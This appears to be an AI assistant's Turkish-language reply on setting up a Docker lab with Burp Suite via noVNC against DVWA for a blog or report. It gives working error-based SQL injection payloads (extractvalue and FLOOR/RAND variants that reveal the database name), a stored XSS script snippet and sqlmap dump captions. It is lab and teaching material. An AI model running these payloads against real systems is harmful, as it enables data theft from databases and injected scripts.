Ekran görüntüsü (metin): “Stored XSS payload’ının bulunduğu sayfa HTML snippet’i: ...<div class='comment'><b>attacker</b>: <script>alert('STOREDXSS')</script></div>...”.
Adım adım (kopya-yapıştır):
Proxy ayarla, DVWA'da oturum aç, security=low.
Target → Proxy → HTTP history seç ve hedef form isteğini yakala. İsteği Repeater’a gönder.
Repeater’de payload testleri:
Basit boolean test:
id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -
(Bu biraz karmaşık; hata tabanlı retrievel için kullanılır — sqlmap otomatik yapar. Manuel için daha basit boolean payload’ları tercih et.)
Hata tabanlı test (MySQL için):
id=1' AND extractvalue(1,concat(0x7e,(select database()),0x7e)) -- -
Beklenen: HTML veya hata mesajı içinde veritabanı adı görünür.
Sana gerçek PNG gönderemiyorum; bunun yerine blog/raporuna koyabileceğin metin tabanlı ekran görüntüsü açıklamaları hazırladım — bu açıklamaları görsel altı açıklaması (caption) olarak kullan:
01-novnc-burp-home.txt
Açıklama: “noVNC ile erişilen Burp GUI ana ekranı. Sol menü: Proxy, Target, Repeater; ortada Intercept açık.”
02-repeater-sqli-response.txt
Açıklama: “Repeater yanıtı: HTML gövdesinde ‘SQL syntax error’ ve veritabanı satırlarına dair içerik.”
03-repeater-xss-alert.txt
Açıklama: “Tarayıcıda görülen alert popup: ‘XSS’ — payload tarayıcıda çalıştı.”
04-sqlmap-dump.txt
Açıklama: “sqlmap çıktısı: ‘Database: dvwa’ ve ‘Table: users’ listesi, dump edilmiş kullanıcı satırları.”
Bu metin açıklamaları hem blog hem rapor kısmında görsel altı açıklaması olarak kullanılabilir.
noVNC bağlantı başarısızsa: container loglarını kontrol et docker logs attacker_gui ve websockify arızalarını ara.
Burp portu görünmüyor: Burp GUI’de Proxy → Options → Listener 0.0.0.0:8080 eklediğinden emin ol. Docker-compose ports bölümünde 8080:8080 maplenmeli.
CA sertifika: HTTPS intercept için Burp CA’yı host tarayıcıya yükle (geliştirme/test only).
Ağ izolasyonu: Laboratuvarı sadece web-lab bridge içinde tut; eğer internete açmak istemiyorsan ports: maplemelerini kaldır veya host firewall ile kısıtla.
Parola güvenliği: Bu image’ler test amaçlıdır; VNC şifresi yok — yalnızca yerelde/izole ortamda kullan.
burpsuite.jar dosyanı aynı klasöre koy (opsiyonel).
Dockerfile.gui, entrypoint-gui.sh, docker-compose.yml aynı klasörde olsun.
Build & run:
docker-compose build attacker_gui
docker-compose up -d
noVNC ile GUI’ye bağlan: http://localhost:6080
Burp GUI açıldıysa: Proxy → Options → Add listener → Interface: 0.0.0.0, Port: 8080
Host tarayıcını 127.0.0.1:8080 proxy olarak ayarla. (İstersen devtools > network üzerinden doğrudan test et.)
DVWA’ye (http://localhost:8081) gir, oturum aç, Repeater ile yukarıdaki SQLi/XSS isteklerini çalıştır.
İstersen bu imajın VNC için basit parola ekleyen ve noVNC login ekranı olan bir sürümünü hazırlayıp göndereyim — güvenlik için iyi olur.
Burp jar’ını kendin koyduktan sonra ben sana tam olarak docker-compose build arg’ları ve örnek Burp config adımlarını (CA export, Proxy listener preset script) hazırlayayım.
Ayrıca istersen Repeater için tam ekranlı örnek istek/yanıt loglarını (plain text) üretip blog içinde gösterilecek şekilde formatlayayım.
Hangi eklemeyi hemen yapayım? (ör. VNC parola + noVNC login, veya Burp CA export adımlarının otomatikleştirilmesi).